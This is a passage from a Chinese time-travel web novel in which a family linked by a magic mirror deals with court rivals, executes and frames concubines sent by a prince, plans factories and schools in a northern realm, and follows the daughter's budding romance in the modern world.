谢云溪睡沉后,袁博文又起来了,悄悄拿上了镜子,来到了里间。这里是谢云溪的小药房。里面除了常备用药以外,还有许多现代常用物品。 袁博文打开了桌子上的台灯,敲了敲镜子,果然在里面看到了袁淼。 袁淼低声问:“我妈呢?她不在你旁边吧?” “她睡着了。那个关景澜到底怎么回事?谁让她走的?是庄静吗?” 袁淼顿了顿:“庄静应该是站在我们这边的,她知道关家想联姻后,还特意过来提醒。这次找上门,也是她说要给妈妈一个交待!” 没有了谢云溪在旁边,袁博文周身的森冷毫不掩饰,淡淡说:“她想做和事佬,但关家未必会记住这次教训!” 袁淼听出了袁博文话里的杀气,她对关景澜早就不满了:“爸,你想怎么做?现在闹大了,会不会有影响吗?” “闹不大的,你放心。不过一个嫡女而已,岭南关家会以大局为重的!” 从北地到岭南,一路上的时间可不短,现在的形势又不好,遇上土匪折损个把人太正常了。 袁淼看着袁博文,他的话让她心里舒坦。险些伤了她妈和她弟,还想像没事人一样回去?她早就窝了一肚子火。 “还有一件事情,妈妈把湖溪齐王府送给你的美人就安置在后院!你看过了吗?”袁淼说这话的时候,盯着袁博文。 “我没去看,这件事情,你妈已经跟我说过了。那时候情况比较特殊,暂时不能跟湖溪齐王府撕破脸。不过现在不要紧了。明天我就让人把这些都处理了。” 没去看?袁淼想起屏幕中见过的那张绝色容颜,心里为她点了根蜡烛。 “你准备怎么处理?” “出了毒蛇进府的事情,妈妈让人把你们那边府里上上下下都搜了个遍,你知道在那些美人住的院子里搜到了什么吗?” 袁博文皱了皱眉。湖溪齐王府给他送美人,他知道这些都不是好东西,特意写信回来提醒谢云溪注意防范。没想到会出来一起毒蛇进府的事,现在又搞出了什么花样? 袁淼拿过旁边的试管架:“这些标本都是那边院子里的东西。这一管里面听说是胭脂,但最后检测里面含有淫羊藿,淫羊藿有什么作用,爸爸你知道吧?” 袁博文的脸色尴尬了,他是个男人,当然知道淫羊藿有什么作用。 袁淼又抽出一根试管:“这里面听说是养颜丹,但是检测出来主要成分是艳紫铆。艳紫铆是什么,爸爸你听说过吗?” 袁博文沉着脸,他虽然不知道艳紫铆是什么,但这个时候被女儿提出来,他也明白这种东西肯定是有那方面的作用。 “这是一种草本植物,在现代华国一般是从东泰引进,主要是治疗男性方面疾病!” 袁淼又指着试管架上好几个单独排放的试管说:“还有这几根试管,里面分别是口脂香料等,但是最后检测出来都有问题!” 袁淼把检测结果传给了袁博文,袁博文面无表情打开,上面许多名词他并不陌生,好几种都有催情助兴的作用。 他现在老大一把年纪了,早就知道了过犹不及的道理,这方面的东西用多了,对身体绝对没好处。 没想到他人还没有回来,对付他的东西就已经出来。有了这些东西,许多事情就不可控了。 “爸爸,我拿出这些不是要你难堪,而是想提醒你,一定要注意。女人的手段有时候比战场上的明刀明抢更难以防范!如果你对不起妈妈,我绝对会站在她那边!” 袁博文的脸有些挂不住了:“你瞎说什么?” 袁淼凉凉看着。男人发达后,对不起原配的例子并不少。她知道父母感情很好,可谁有能保证永远不变? 袁博文以前就是个不甘平凡的人,他走到如今的地步,既有形势所迫,也有个性原因。随着他的强大,以后一定会有更多的女人前赴后继。 谢云溪年纪大了,以前又是个医生,心性和手段都不够狠。光一个关景澜都差点把她给灭了。以后她一定会遇到更强劲的对手。但她会和她站在一起,不管是谁,都别想欺负她。 这也是她今天想告诉袁博文的话。她会是谢云溪的靠山,如果有人有了其他想法,最好掂量清楚。 父亲和母亲,她一样都爱,可如果要选,她的答案是后者。 袁博文知道袁淼在想什么。他又不傻,自己几斤几两还不清楚吗?没有了约束和支撑,在这个异世界,要么被同化,要么变成疯子。 “放心吧!你还有事情要说吗?”顶着女儿的目光,袁博文也撑不住了。 袁淼听到袁博文的保证,心里踏实多了:“你准备怎么处理湖溪齐王府送过来的那些女人?” 袁博文想了想:“府里进蛇的事情可以利用一下。” 袁淼愣了愣:“你是想把这件事情栽赃到湖溪齐王府头上吗?” 袁博文点头。这些都是祸害!差点让他家破人亡,妻子有靠山,他没靠山能行吗? “湖溪齐王府原本就不怀好意。以前是形势所迫,需要安抚,现在没必要了,他们也该离开北地了。” 袁博文说完,指着袁淼旁边的试管架,眯着眼睛问:“那几个有问题的标本,都是从哪几个房间里搜到?” “这些吗?” 袁博文点头:“犯事的人有主有从,主谋不能轻饶!” 玛德!他人都没有回来,就有人准备给他下毒了!这样的必须死! 齐王府的人驱使毒蛇差点咬伤他的夫人和嫡子,他一怒之下杀个人,正好能威慑一些蠢蠢欲动的人,湖溪齐王府的人因此被赶出北地,名正言顺! 袁淼听了袁博文的话,心里更舒坦了,毫不犹豫说出芸娘等人的名字。 第158章 接班 第二天一早, 袁博文就叫来了袁归,询问府中事宜。 袁归低着头,将这些天发生的事情一五一十都说了。 袁博文听完后久不做声。袁归忍不住胆颤。他知道自己失职了, 在心里将岭南关家和倚香院那些女人骂了个狗血淋头。 良久后, 袁博文才说话, 语气淡淡, 听不出情绪:“倚香院那些人留不得了,领头的两个心思狠毒, 竟敢在府里驱蛇做恶,乱棍打死, 剩下的一并捆了, 送回给成墨涵!” 袁归秒懂, 连忙应下了。 袁博文又说:“齐王府居心不良, 让他们自己滚吧!” 袁归一时不懂, 顿了顿后才应了一声是。 “去看看贺掌门他们起来了没有?若是已经起来,请贺掌柜过来一趟。” 袁归出去了, 很快就将贺威请了过来。 “大人!”贺威拱手见礼。 袁博文抬了抬手,请贺威起来,又扫了袁归一眼。袁归会意,低着头出去了,顺手带上了门。 里面在说话, 袁归就在门口守着。一会后, 贺威出来了。袁博文离开府里,袁归才去办事。 他来到了倚香院,这里被严禁出入已经有数日,除了食水能送进去以外,其他一概不许。 天已经入秋, 院子里的落叶在地上铺了一层,各屋的女人们相继出来了。一段时间的食水不继,这些人早没有了先前的光鲜亮丽。 领头的付大娘子看到了袁归,连忙微微颤颤过来:“袁管事,我们是冤枉的,请您明鉴!” 她一开腔,就有人哭出了声。这些女子原本娇弱,早练就了媚人的本领,嘤嘤一哭,原本的铁石心肠都要化成绕指柔了。 但袁归今天吃了挂落,想及刚才和袁博文相处的情景,他心里就忍不住胆颤,凉凉看着女人们哭泣。 送到军中刘医官那里的东西,有好几样查出了问题。但这件事情他们并没有对外宣张。眼前的这些女人死到临头,还在装腔作势。 袁归心里厌恶,扬了扬手,立刻有人拿下了付大娘子和哭得梨花带雨的芸娘。 “冤枉?你们驱使毒蛇差点咬到夫人和少爷,手段狠毒,人证物证俱全,还有脸喊冤枉?” 付大娘子愣住了,驱使毒蛇咬人,她可没这份本事。 但袁归不等她分辩,就让堵住了嘴巴,就地按住,乱棍打死。 芸娘吓得花容失色,在门口厥了过去。她的贴身丫鬟惊慌失措叫喊:“姑娘!姑娘!你怎么了?” 袁归瞟了一眼。眸子中的厌恶更甚。 “还愣着干什么?我刚才的话是放屁吗?” 他说话后,软绵绵摊在地上的芸娘就被拖到院子里,嘴巴里被一股脑塞上了烂布,一棍子下去,芸娘就醒了,漂亮的眸子满是慌张和害怕,使劲摇着头,但第二下第三下很快就来了。她也很快就没了声息。 院子里的地上脏了,袁归皱了皱眉,让人把地上的两个死人拖了下去,又缓缓看了看其他人。 先前嘤嘤哭泣的女人们早没有了声音,对上袁归冰凉的眸子后瑟瑟发抖。 袁归又皱了皱眉,让人把这些人都捆了,他要亲自送给齐王府的那位成大人,让他赶紧带着人滚蛋。 谢云溪起来的有些晚,念荟听到响动后进来,伺候她洗漱。 “淮安呢?喝过奶了吗?” “喝过了。” 袁博文起来后,念荟就把袁淮安抱到隔壁屋里。 谢云溪想到袁博文。这人精力旺盛,她远远不如。一大早起来,也不知道干什么去了。 念荟仔细看谢云溪的脸色,小声说:“夫人,今日一早,老爷就发落了倚香院的人。” 谢云溪愣住。倚香院那些女人的事情,她还没有跟袁博文说。 “老爷说芸姑娘和付大娘子心思狠毒,竟敢在府里放蛇,险些咬到夫人和少爷,让人乱棍打死了,剩下的一并捆了,全送了回去……” 念荟想起倚香院的场景,心里痛快。她早就看不惯那些人了。 都是些什么东西?竟然敢打老爷的主意!还藏了那么多龌蹉的东西! 不过,她心里也怕。这些人的手段让她大开了眼界。倒是叶淑婉和沈悦兰觉得寻常,说是比这更龌蹉的还有,她们以后得打起精神,这种事情以后少不了。 “放蛇咬人?倚香院?老爷真是这么说的吗?” 这件事情不是关景澜干的事儿吗?袁博文把它栽到了倚香院那些人头上? 倚香院那些女人还没有出手呢,标本检出有问题的事情,知道的人不多,她还没有跟袁博文说起,袁博文就发落了?还发落的这么精准,分明是有人已经告诉了他。 谢云溪想到了袁归,以为是袁归告诉袁博文的。 “嗯!府里许多人都去看了。除了倚香院的人,府里平日里与她们联系过密的人也都挨了教训……” 谢云溪听了事情经过,一时间也不知道说什么了,她虽厌恶齐王府给袁博文送的这些女人,但是没有想过要她们的性命。这些人私藏了些东西,但还没有来得及出手,就被毒蛇的事情牵连发现了。 不过,袁博文如果中了招,她心里多半过不了这个坎。 想到袁博文中招后引起的连带后果,谢云溪心里的怜悯也所剩无几了。 袁博文这天回来的时候天已经黑了。谢云溪连忙让人摆了饭。 “你今天一早发落了倚香院的人,这不要紧吗?倚香院的事情,是袁归告诉你的吧?” “……没事,齐王的心思现在都在霍云泽身上,没功夫理会我们,哪怕是有气,他也忍下去的。” 袁博文回避了最后一个问题。 谢云溪没有发现,她也知道南边的形势,正打的火热,各方势力混战,相对而言,北地的局势倒是明朗了。他们占据了一半州府,且势头正旺,稳压北凉一头。 这个时候,南方的那些势力估计都没功夫理会他们。 “成墨涵什么反应?” 袁博文还窝着火,女儿现在把他和谢云溪分了高低,这让他心里很不得劲。 “他能有什么反应?送这些的时候,他就没安好心!我没把人全杀了,就已经很给他们面子。” 谢云溪笑着说:“你这和赶人有什么区别?” 典型的翻脸不认人。先前为了稳住对方,表现出一副真心诚意的样子,现在局势稳定了,立马翻脸不认人,还给人家安了一个罪名,毫不客气打发。 袁博文很淡定:“区别大了!是他们不怀好意在先,恼羞成怒自己离开!可不是我们赶人,以后我们想做什么,都名正言顺。” 谢云溪笑了笑,多年的老师不是白当,做什么事情都要有个理由,不好的事情都推到他人头上,好名声自己先得了。 “这件事情要不要跟庄静先说一声?” 袁博文蹙了蹙眉:“别管他们!” 谢云溪听出了袁博文话语里的不满,连忙说:“庄静夹在我们和岭南关家中间也不好做。再说了,我们现在就把他们撇开,让其他人怎么想。” 袁博文低着头喝茶。他念着关正的好,但岭南关家确实该敲打了。其他的事情都好说,妻子和儿女是他的底线。 谢云溪又说:“关三老爷去湖州找你的时候,庄静还过来给我通风报信呢,特意提醒我要注意。这要是换了其他人,多半做不到。” 袁博文这才抬头:“下次庄静来找你,你问问她,打算让景和走哪条路?” 谢云溪愣了愣。 “景和已经十二岁,是到了要决定找哪条路的时候。如果决定走文,最好进学堂了,如果决定走武,现在就要开始历练了。” 谢云溪明白了,袁博文这是还想拉关府一把。她心里的石头落地,脸上也露出了笑。 “好,我跟她说。” 现在虽然还没有到论功行赏的时候,但是要想在那时候有所得,现在就要准备起来了。 北地的局势明了,剩下的北凉人不足为惧。等清理统一之后,是南下还是修养生息,那是下一步的事情。 关景和今年十二岁,在现代是上初中的年纪,但在这里有些人家已经在训练独当一面了,十六七岁成家后撑起家业的不在少数。 “你们准备重开郴阳书院吗?” 北地这里文风虽然不盛,但也有几个声名鹊起的书院,其中位于郴州的郴阳书院就是其中名气最大的书院。 “郴阳书院要重开,不过,我不准备继续科举那一套了。” “我今天去找了张时文。咱们现在已经拿下北地一半州府,经济民生等都要开始搞起来了,这些都要人才,北地这里识字率估计百分之十都未必有,这种情况下经济想要赶超南边,难度不小。所以文化普及教育不能等了,现在就要开始了!” 这个问题谢云溪也想过。北地贫瘠,经济上一直被南边碾压,除了地域因素以外,也与这里的文化普及率不高有关。 他们打算在北地这里推行工业化道路,即便是有现代世界背书,但如果识字的人都没几个,这条路肯定很难。文化普及率跟上了,工业化推行的进度也会加快。 “你们打算怎么做?妇女能顶半边天,普及教育可不能把她们撇开。” 袁博文笑了:“我知道,放心吧!” 北地地广人稀,如果要推动工业化进展,人口一定要跟上,妇女当然不能撇下。 他已经跟张时文商量过了,各州府必须成立普学堂,入学率与政绩考核挂钩,三年内免费,学成后颁布证书,该证书会在招工中起到一定的作用。继续学习的,也会有相应好处。 至于教材的编辑,则以识字和简单的算术为主。 以就业反向促进文化普及。 谢云溪想到了自己小时候经历过的扫/盲运/动。袁博文的想法与那场运动大同小异。也是因为那场运动,华国的民众开始重视教育。在此之前,他们也有数量庞大的文盲。 谢云溪又想到了棉纺厂:“棉纺厂第一批招工已经到位,现在正在培训中,要不也让他们学习些文化识字吧?” “我让袁归去安排。”袁博文说着,看向谢云溪,脸上带笑,“你和淼淼组建的这个棉纺厂非常好!” 他今天也去看了郴州棉纺厂,能容纳数千的厂区已经建成了,第一批招工虽然只有千余人,但也是整个北地最大的工厂。基本上与现代的工厂模式差不多。 棉纺厂的机器跟现代相比虽然并不先进,但是一旦开启,每天至少能织出数千匹棉布!这样的体量绝对会对南方的织布作坊形成碾压式打击,整个纺织界的格局都会因此改变。 他没想到谢云溪和袁淼在他离开的这几个月期间,居然做成这件事情。 沔州那边还有个冶炼工厂,规模比棉纺厂还要大,虽然现在还没有完全建成,但已经在北地掀起不小的风波。他在湖州都听说了。 那座冶炼工厂一旦建成,投入使用,钢铁的产量将会几何式增长,这对当地的经济民生等会有惊人的提升。 谢云溪笑着说:“棉纺厂能够组建起来,最大的功臣不是我们,如果没有陈秘书长他们帮忙,我们没有那么快做好这些。” 这个袁博文赞同。 没有专业人士帮忙,光纺织机器的改进就是个令人头疼的问题。 投桃报李,他已经让胡耀生等人准备出发前往高州,勘察那边盐湖的矿产资源情况了。 工业的发展,离不开资源。他们要赶紧摸清楚北地的资源情况,如果重要资源短缺,那就要尽快想办法解决。 先机很重要,这里的科技虽然不发达,但是聪明的人绝对不少。他们得在这些聪明人反应过来之前,把最重要的东西抓到手上。 “成立普学,三年内免费,但笔墨纸砚等一般人家可承受不起,这个问题你们准备怎么解决?” 谢云溪跟着袁博文一起经历过这里的科举的,两人都对这方面的物价印象深刻。想要识字读书,除了私塾学费等以外,笔墨纸砚等其他支出也不是一个小数。 “建厂!我记得造纸和制墨都不难,让淼淼去了解一下这些的发展史,把造纸厂制墨厂等都组建起来……” 除了造纸厂制墨厂等,袁博文也打算将玻璃厂肥皂厂等也组建起来。 “淼淼有的忙了!”谢云溪感慨说。 袁博文沉默片刻。他们走到今天,靠的就是女儿。要想站稳扎根,也要依赖女儿 “云溪,我想让人去一趟沧月山。” 谢云溪愣住了。 “淮安太小了,以后长成什么样子,不好说。但是淼淼不一样,她是我们一手带大的,从小聪明懂事。我们离开后,她把奶奶照顾的很好,这几年也渐渐历练出来了。咱们挣下的这个摊子交到她手上,比交给淮安更好。” 袁博文有这个想法不是一天两天了,以前就想着多挣钱让妻子女儿过上好日子,结果不知不觉搞大了。自己挣下的家业当然要交给自己的儿女。 儿子太小,什么性格都不知道。但女儿就不一样了,性格已经形成,处事虽然还有稚嫩,但假以时日一定能成长到独当一面。 谢云溪还没有考虑这么长远,不过她想到自己和袁博文的年纪。看起来三十多岁,实则四十多岁,快五十岁了。有些事情是该考虑了。这里的人平均寿命可不高。 女儿和儿子,都是她的心头肉。但是在接班这件事情上,显然女儿更合适。 袁淼刚上高中,他们这对做父母就突然失踪不见。学业的压力,生活的压力,一下子落到了稚嫩的肩膀上,能撑下来不容易。 而且,他们走到今天的地步,靠的就是女儿,将这些交给女儿理所当然。 谢云溪点头,“要不要先问问她?” 管理这么大的摊子可不是一件简单的事情,女儿愿不愿意也很重要。 袁博文摇头:“先不跟她说。” 他不确定能不能找到当初给他们通界宝镜的老道,也不知道那老道有没有办法把人弄过来。 不过,他觉得找到人的问题不大,当初就他们夫妻俩都能找到人,现在他能动用的人力资源等比当初不知道多了多少倍,找到人应该没问题。 但是找到人之后,能不能把女儿弄过来才是问题。 如果不确定还是别告诉的好,免的给了希望,最后却要让女儿品尝失望的滋味。 不过,既然有这个打算,那有些事情现在就要开始准备了。 袁淼虽然聪明,但她自小的生活环境,接受的教育和熏陶与这里完全不同,想要管理好这个摊子,首先得熟悉这个世界。 如果女儿不能过来,那就再考虑儿子。 两手准备,现在都要开始抓。 袁博文想着这些,看了看旁边自顾自噗着口水的儿子袁淮安,皱了皱眉,一脸嫌弃。 还是女儿好,可怎么把人弄过来是个问题。在此之前,他也要为女儿……和眼前的傻儿子铺好路。 这天晚上见面,袁博文就为袁淼准备了一箱书籍文献。 袁淼收到时有些懵:“这些是什么?” “书籍文献,我今天去了郴阳书院,那边保存了不少书籍文献,我给你的这些都是有关这边历史发展经济民生等的书籍,你有空了看一看。” 袁淼翻了翻,右起竖版的书籍她看了几眼就觉得头疼,但父母那边想要发展,了解了这些肯定有好处。 “好,有空了我会看。郴阳书院是在郴州吗?” “对!那些书册里面就有关于郴阳书院的介绍。” 袁淼想到袁博文还经历过科举,心里不由得佩服。她离开学校后,学习的劲头就没了。 古代的科举跟现代的教育简直就是天差之别,能摒弃自己习惯的教学,从头开始搞科举,并且能在短短几年的时间内拿下举人,这可不是一件容易的事情。 谢云溪连忙说:“你可不能敷衍,要认真看!了解了这边的历史发展经济民生等,以后说不定要用上的!” 袁淼点头:“我知道。” 袁博文和谢云溪都看出袁淼并没有把他们的提醒放在心里,但这件事情又不能明说。两人相互看了一眼。 袁淼问:“还有事情吗?除了要了解造纸、制墨、玻璃等生产情况以外,你们还打算组建其他工厂吗?” 袁博文想要开设的工厂不少,但是一口吃不成大胖子,发展得一步步来。 “暂时就这些,明天我去矿区看看,那边应该积累了一些矿石。” 袁淼收下了书册文献,又给袁博文一个眼色,询问他那边事情办的怎么样了? 袁博文笑了笑,微微颔首。袁淼秒懂,倚香院的人打发了,关景澜的麻烦要来了。她心情好起来了。 断开了联系,谢云溪看着袁博文:“你们俩是不是有事情瞒着我?” 袁博文揽住她的肩膀,笑吟吟说:“怎么可能?我有几斤几两你还不清楚吗?” 谢云溪打量着袁博文,心里依旧怀疑。袁博文连忙扶正她的肩膀:“我刚有件事情忘记跟淼淼说了。” 谢云溪的注意力果然被转移了:“什么事情?” “商州不是已经拿下了吗?那边有几座金矿和玉石矿已经在我们手上了,金矿的事情,我这次不打算合作了,但这边的开采提炼工艺太落后了。” “还有玉石矿,那边的矿场堆放了许多原石,这些现在没人追捧了,但在现代应该行情不错。” 谢云溪也知道玉石在现代有多火热。他们现在有三家当铺,收到的金银珠宝中玉最不值钱,但是传到现代后却是天价,比金银还要昂贵,尤其极品玉石。 “有多少原石?淼淼那边这些不便宜。” “不少!我估计一次传不完,得提前跟淼淼说一声,让她准备好地方。” 谢云溪一脸诧异。 一次传不完?比郴州海边那艘游轮还要大吗?那不成了小山! 不过,原石跟明料不一样,许多原石里面并没有玉。但小山一样规模大小的原石堆也很惊人。 “下次跟她说吧。” 袁博文点头。北地这里百废待兴,饥荒的问题可以解决,但其他方方面面都要陆续跟上了,这些都要钱。光靠各州府衙单薄的税收可撑不起来。 第二天,袁博文去了矿区,回来的时候就得知姚青山回来了,他让人把姚青山请了过去。 大半年不见,姚青山清瘦了许多,但精神很好,一见到袁博文便恭敬行礼。 袁博文笑着请他入座。姚青山先递上了账簿。袁博文接过后,并没有马上翻看。 “姚掌柜这次南下,去了哪些地方?” 姚青山垂着眉眼,脸上笑着。这一次南下,他们沿泗水河出发,先后去了西宁江陵武川等地。 “武川?那边不是正在打仗吗?” “我们商队去的早,到达的时候,还没有打起来。” 袁博文又问:“那边的情况怎么样?江陵一带呢?” 西宁距离北地不远,出了泗阳关,四五天就能到达,所以那边的情况,袁博文知道。但江陵一带和武川一带就离的较远了。 姚青山心里唏嘘,他离开北地的时候,北地正乱,郴州城外一片荒芜,以为到了南边,情况会好,结果比北地更不如,到处都在打,土匪横行,各方势力争霸,物价飞涨,民不聊生,流离失所的不知道有多少。 “我们在武川呆的时间不长,城里还好,除了物价飞涨,其他倒也平静,但城外土匪横行,许多土地村庄都荒芜了……” “江陵一带不太平,陆路和水路都不好走,幸亏有商师傅他们护航,一路上虽然有些波折,但都有惊无险。” 袁博文去过江陵,那里是南方最繁荣的地区了,但是乱起来的时候,那里也闹得最凶,都知道那里有钱,世家大族林立,联合分化,各种乱战。 幸亏这一次姚青山的商队人多,且还有商远等人这些走南闯北多年的老趟子手在其中护航,否则这一次别说挣钱了,能不能囫囵回来都还两说。 “那边的粮价和布价怎么样?” 说到这个,姚青山的嘴角就忍不住翘了起来。南方虽乱,但钱相当好挣。 “都涨了不少,江陵一带稻米的价钱翻了一倍,我们回来的时候,已经到了六十五文钱一升,粟米和黍米也涨了不少,面粉涨得最多,一升要七八十文钱了。” 可惜,这次南下,他们并没有带粮食。不过那个时候北地的粮食也不便宜。 袁博文暗地惊叹。局势一乱,最先涨起来就是粮价和金价。江陵一带盛产水稻和小麦,这两样以前拉到北地来卖,价钱至少要上涨二成,但即便是涨二成,也比现在便宜多了。 不过,现在北地的粮食也紧张,郴州晋州贺州一带因为玉米和甘薯丰收,勉强能够自给自足,其他州府都不行。现在北地的流民几乎都在往这边过来。 “绸布的价钱江陵一带涨了约莫两成,麻布和葛布也涨了不少。他们没有见过棉布,我们带过去的棉布很受欢迎!具体买卖情况,大人手上的账簿都有记录。” 袁博文闻言翻了翻手边的账簿,只看了几眼,他心里就一跳。在北地这里只卖四五两银子一匹的棉布,姚青山在江陵一带竟然卖到六七两银子一匹!几乎翻了一倍。 带过去的数万匹棉布居然全卖完了!还有棉衣等,价格也比郴州贵许多,这些也都卖完了。 这一趟姚青山帮他们挣了不少钱。 “姚掌柜辛苦了!” 姚青山连忙推却,“大人为了北地民众殚精竭虑,才最辛苦!” 他这话出自肺腑。只有走出去后,才知道如今的郴州有多好。年初离开的时候,郴州城外一片荒芜,但不到一年时间就大变了样子。城里熙熙攘攘,热闹非凡,城外绿意嫣然,阡陌纵横。 城东原本的空地上多了一个偌大的棉纺厂,听说是专门织布的厂房,里面光工人就有一千多人,这些工人最差的一个月都能拿到二两二钱银子! 二两二钱银子!这个酬劳在南方也只有最厉害的织娘可以拿到,但在郴州的棉纺厂,这是保底待遇。 他虽然刚回来,但也看到了许多民众以能进棉纺厂为荣。一家四五口人,但凡有一个人能进棉纺厂,全家基本生计都不用发愁了。 袁博文笑着说:“账簿我先看看,交割的事情,过几天袁管事会找你商量。” 姚青山也认识袁归,当初南下的时候,他就跟袁归接触过了。 姚青山离开后,袁博文就拿着账簿来到后院,把账簿给谢云溪看。 “这是什么?” “姚青山回来了。” 谢云溪翻开账簿看了一会,不禁啧啧说:“这乱世的钱也太容易挣了!” 这次姚青山南下,他们除了让商队带上棉布棉衣以外,还把现代的一些人工养殖的中药材和一些小玩意也带过去试水了,这些都卖的不错。 不过,棉布棉衣仍然是利润最大的一块。 袁博文附和点头:“下一次商队出发,就可以带上纸墨和玻璃等物品了。” 这些都不便宜,尤其玻璃,在这里被称为琉璃,价值跟珠宝等差不多。 谢云溪笑着说:“这些工厂都没有建起来,等制造出产品,少说也要几个月之后了。” 袁博文想了想也是,叹了口气。欲速则不达,想法再多,也要一个一个慢慢来。 袁淼觉得自从袁博文从湖州回来后,她就忙得飞起了。这天宋颜过来,她也不假思索一口拒绝了邀约。 宋颜脸上依旧笑着,但转身时背影落寞。袁淼抬头看到了,这才后知后觉自己的寡情。博云珠宝在中都的分店开张,宋颜帮了不少,她许诺了请他吃饭,但一直都在拒绝。 “宋颜!” 宋颜转过身,袁淼笑着说:“我中午不行,晚上有时间,我请你吃饭!” 宋颜清冷的眉眼瞬间染上一抹柔色:“好啊!” 第159章 盐湖 定下了时间和地方后, 袁淼又忙了起来。到了下午,沈若君过来提醒,她这才醒悟, 自己差点又忘了。 想到宋颜的背影, 袁淼看了看时间, 索性放下了手中的事, 来到了嘉世达。 嘉世达的前台小姐记得袁淼,正要打电话, 孙士林从电梯里出来了。 “袁总?” “孙经理,我来找宋总, 他在吗?”袁淼笑着招呼。 “在的!”孙士林连忙按下电梯, 请袁淼进去。 两人在电梯里说起了近期拍卖事情。袁淼现在把这块交给了岳然, 她如今是博云珠宝的经理。 珍稀珠宝袁淼不缺, 她名下除了两家实体店和一家网店以外, 偶尔也参与拍卖和珠宝行业的其他重要活动。 到了楼层,孙士林带着袁淼来到了宋颜办公室门口, 正要敲门,门打开了,一个面目周正,西装革履的青年从里面出来。 “辛助理!宋总在里面吗?”孙士林问。 辛助理看到袁淼,随即避开了她的视线:“在!” 他像是有急事, 说完话后, 头一低就要走。 孙士林让开身。 袁淼看着辛助理离开的背影。 这人有点面熟,像是在哪儿见过。 “袁总!”孙士林笑着示意袁淼请进。 袁淼回过神来,进去的时候看到宋颜已经站了起来。 “马上就好!” 袁淼连忙说:“是我来早了!” 宋颜笑容晏晏,很快收拾妥当。 袁淼坐上了宋颜的车,张青云在后面跟着。她想到了父母前几天说过话, 他们拿下的商州不仅有金矿,还有玉石矿,他们手上就有不少原石。 “宋颜,现在原石行情怎么样?” “热度不如以前了,东缅那边局势不稳,许多矿区停工,现在想要拿到尖货不容易……” “我听说东缅马上要举行原石公盘,你们以前参加过吗?热不热闹?” 宋颜点头。宋记主营业务就是珠宝等奢侈品,玉石是他们需要的原材料之一。 他把公盘交易会的现状告诉了袁淼:“今年东缅的公盘活动就在下个月,你想去看看吗?” “想啊,我手上有一批原石,如果要参加公盘,有什么要求?” 宋颜转头看了袁淼一眼,笑着说:“我来联系,这次的主办方是东缅珠宝协会,你准备备好需要的材料,翡翠样品、证件照、翡翠库存清单等,这些在申请审核的时候会用到。” 袁淼大喜,连忙记下了宋颜的话。 到了餐厅,两人下车,迎面看到一对半人高的青花瓷瓶时,袁淼陡然想起在哪里见过辛助理了。 宋汝窑天青釉画缸和笔洗的拍卖会上!买下这两件东西的就是辛助理! 她不禁转头看向宋颜。 宋颜不明究竟,笑着询问:“怎么了?” 袁淼摇头:“突然想起一件事了。” 宋颜目光询问。 袁淼笑了笑,并没回答,心里却暗流汹涌。 所谓的宋汝窑天青釉画缸和笔洗其实是赝品,是谢云溪花费五十两银子在他们那边买到的瓷瓶,结果被她送到嘉世达拍卖,最后被辛助理以两亿多的天价拍下了。 事后他们一度心存侥幸,但很快政府部门的人找了过来,说开了一些事情,也让他们明白,假的真不了。 两亿多不是个小数,他们赶紧筹集赔偿,她找到宋颜打听口风,得知嘉世达禁止透露买家和卖家的消息后,只得把这件事情暂时按下。 原来事情一直没被揭穿,并不是买家眼拙,而是有人默默拦下了。 宋颜知道她拿出的瓷器有问题,他让辛助理出面买下来了。 今天的奇怪也有答案,宋颜接到她要过来的消息时,应该正在和辛助理谈事。 辛助理匆忙离开,没想到会在门口与她遭遇。 想通后,袁淼低下了头。她知道宋颜很好,许多事情她能做成,是因为有宋颜在。 她最无助的时候,也是宋颜拉她出坑。 至今都有人认为她是靠着宋颜起家,她对此从不辩解,这个看法能让她省去许多不必要的麻烦和猜忌。 有个靠山在如今的社会太重要了。父母太远,上面的势她不敢借,而宋颜就在旁边,她伸手就能够到的地方。 徐清阳之后,她知道自己出了毛病,心理医生的建议是再谈一场恋爱,每个人不一样,大胆走出去,她会变得更好。 怎么定义这个更好,她不知道,不过,她想试一试了。 晚餐用完后,袁淼挽上了宋颜的胳膊,几乎在靠近的瞬间就听到急促的心跳声。 两人在江边吹了一阵风,袁淼到家时很晚了,袁博文和谢云溪已经等了一会儿。 “淼淼,你今天怎么这么晚?很忙吗?” 袁淼想到宋颜,不过,这几天她确实很忙。 “有点忙。” 她把这些天了解到的有关造纸制墨等工厂生产情况的资料整理了一番。 袁博文和谢云溪相互看了一眼。 袁淼说:“这些是现代造纸制墨等工厂的情况,你们先看看,有没有用?” 她把资料传了过去。 这些工厂的机器虽然不复杂,但如果要结合父母那边的情况,也不是一件容易的事情。 袁博文收到后看了看。 “上次传给过去的书册和资料,你都看过吗?” “还没有看完。”袁淼如实回答。 袁博文又搬了个箱子过来:“这些是北地各州府地方文献资料,你把先前那些看完后,再看看这些。” 袁淼懵了。 现代的阅读习惯是从左到右,横版模式,但父母那边的文献书册却是从右往左,竖版模式。两种迥异的阅读习惯让她有时候产生混乱,好一会儿才能反应过来。 “等我看完再说吧……” 但袁淼话音还没有落,箱子就传了过来。 她过了一会才伸手。 箱子打开,北地十六州州府地方文献尽在眼里,有的不止一册。满满一箱。 袁博文:“这些地方文献很重要,记载了北地各州府历史风土人情……” 北地各州府历史风土人情?她了解这些有用吗?袁淼心里狐疑,但想到父母那边的情况,她按下了这些疑问。 谢云溪心细:“淼淼,你晚上也很忙吗?” 袁淼顿了顿。以前晚上她不忙,但自从袁博文从高州回来了,她就忙起来了。 以后肯定会更忙,感情的维系也需要时间。 “爸,妈,你们觉得宋颜怎么样?” 袁博文和谢云溪都愣住了,两人相互看了一眼,袁博文的脸色瞬间不太好了,谢云溪迟疑问道:“你现在和宋颜在一起了吗?” “没有。”只是在交往。 袁博文马上说:“你年纪又不大,有些事情不用着急。” 谢云溪想得更多,她对宋颜印象不错,如果袁淼不能过来,错过了宋颜,下一次就不一定能碰到比宋颜更好的了。 “你和宋颜在交往吗?” 袁淼点头。 袁博文的脸色更不好了:“你急什么呢?” 谢云溪转头对袁博文说:“你别在这儿掺和了,把淮安抱出去转转!” 袁博文不想出去,女儿是看好的接班人,但他拗不过谢云溪,只得抱起袁淮安,来到了隔壁的里间,侧着耳朵听她们说话。 碍事的人走了,谢云溪也静下来心来:“你爸说的对,你现在年纪又不大,感情的事情不用着急。” 袁博文不在旁边,袁淼也觉得轻松了许多。 “你以前不是挺看好宋颜的吗?” 此一时彼一时,以前的他们朝夕不保,自然是希望女儿能有个靠谱的人相伴到老。现在他们走出了困境,即便不南下,偏安北地,也能保一世富贵荣华,如果女儿能在身边,那当然更好。 